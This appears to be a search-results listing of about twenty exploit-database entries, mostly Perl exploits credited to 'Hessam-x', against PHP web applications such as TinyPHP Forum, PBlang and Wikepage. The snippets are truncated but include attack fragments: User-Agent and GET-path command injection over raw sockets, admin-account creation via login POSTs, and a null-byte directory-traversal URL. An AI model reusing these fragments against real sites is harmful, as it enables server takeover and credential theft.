35 matches found
Nvidia NView 3.5 Keystone.EXE Local Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/21260/info NVIDIA nView is prone to a local denial-of-service vulnerability. An attacker can exploit this issue to crash the affected computer, denying service to legitimate users. / NVIDIA nView keystone local Denial Of...
Wikepage Opus 10 <= 2006.2a (lng) - Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl WIKEPAGE = V2006.2a Opus 10 Remote Command Execution Exploit ------------------------------------------------------------- IHST: h4ckerz.com / hackerz.ir AST : Aria-Security.Net Kapda : kapda.ir coded & discovered By Hessam-x Hessamx -at-...
TinyPHP Forum <= 3.6 (profile.php) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl $App : TinyPHP forum = 3.6 Remote Command Execution Exploit $Bug : http://tinyphp/profile.php?action=view&uname=../afile%00 $IHST: h4ckerz.com / hackerz.ir / aria-security.net coded By Hessam-x Hessamx -at- Hessamx.net use IO::Socket; use...
GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)
No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / \ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website:...
farsinews <= 2.5 - Directory Traversal arbitrary (users.db) access exploit
No description provided by source. !/usr/bin/perl FarsiNews 2.5pro Show User&Passowrd Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / /\ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Description Name : FarsiNews...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
IceBB 1.0-rc5 Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl IceBB 1.0-rc5 Remote Code Execution Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
PBlang 4.66z - Remote Code Execution
PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...
Nvidia NView 3.5 - 'Keystone.exe' Local Denial of Service
// source: https://www.securityfocus.com/bid/21260/info NVIDIA nView is prone to a local denial-of-service vulnerability. An attacker can exploit this issue to crash the affected computer, denying service to legitimate users. / NVIDIA nView keystone local Denial Of service coded By Hessam-x /...
Ezportal/Ztml v1.0 Multiple vulnerabilities
:: Ezportal/Ztml v1.0 Multiple vulnerabilities :: ------------------------------------------------ Software : Ezportal/Ztml Website : http://www.ztml.org Bug Discover : Hessam-x / www.hessamx.net I. Multiple Cross Site Scripting Vulnerabilities -------------------------------------------------...
Wikepage Opus 10 <= 2006.2a (lng) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ================================================================== Wikepage Opus 10 "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET...
Wikepage Opus 10 2006.2a (lng) - Remote Command Execution
Wikepage Opus 10 2006.2a lng - Remote Command Execution !/usr/bin/perl WIKEPAGE "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent:...
Mambo Component - Display MOSBot Manager Remote File Inclusion Vuln
Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Components ContXTD Attack method: Remote File Inclusion Source: ensure this file is being included by a parent file / defined 'VALIDMOS' or die 'Direct Access t...
Mambo Component - EstateAgent Remote File Inclusion
Aria-Security.net Advisory Discovered by: O.U.T.L.A.W www.Aria-security.net Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp Software: Mambo Component - EstateAgent Attack method: Source: Don't allow direct linking defined 'VALIDMOS' or die 'Direct Access to this location is not allowed.' ; requireon...
VanillaCMS.txt
Vanilla CMS = 1.0.1 RootDirectory Remote file inclusion Vuln. Vendor : Vanilla CMS Demo : http://demo.opensourcecms.com/vanilla/ Get Source : http://getvanilla.org/ Vuln type : Remote Risk : High Author : MFox HomePage : Http://hackerz.ir/ Team : IHST Iran HackerZ Security Team Contact :...
DeluxeBB 1.07 - Remote Create Admin
!/usr/bin/perl DeluxeBB new or die; $cookiejar = HTTP::Cookies-new; $xpl-cookiejar $cookiejar ; $res = $xpl-post$url.'misc.php', Content = "sub" = "login", "name" = "$uname", "password" = "$passwd", "submit" = "Log-in", "redirect" = "", "expiry" = "990090909", ,; if$cookiejar-asstring =...
RCblog 1.03 - 'POST' Remote Command Execution
!/usr/bin/perl $App : RCblog "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent: ".$pcode."\r\n"; print $socket "Host: ".$server."\r\n"; print...
TinyPHP Forum 3.6 - 'profile.php' Remote Code Execution
!/usr/bin/perl $App : TinyPHP forum "; $socket = IO::Socket::INET-newProto="tcp", PeerAddr="$server", PeerPort="http80" || die "- Cannot not connect to host !\n"; print $socket "GET ".$path.$pcode." HTTP/1.1\r\n"; print $socket "User-Agent: ".$pcode."\r\n"; print $socket "Host: ".$server."\r\n";...
TinyPHP Forum <= 3.6 (profile.php) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl $App : TinyPHP forum = 3.6 Remote Command Execution Exploit $Bug : http://tinyphp/profile.php?action=view&uname=../afile%00 $IHST: h4ckerz.com / hackerz.ir / aria-security.net coded By Hessam-x Hessamx -at- Hessamx.net use IO::Socket; use...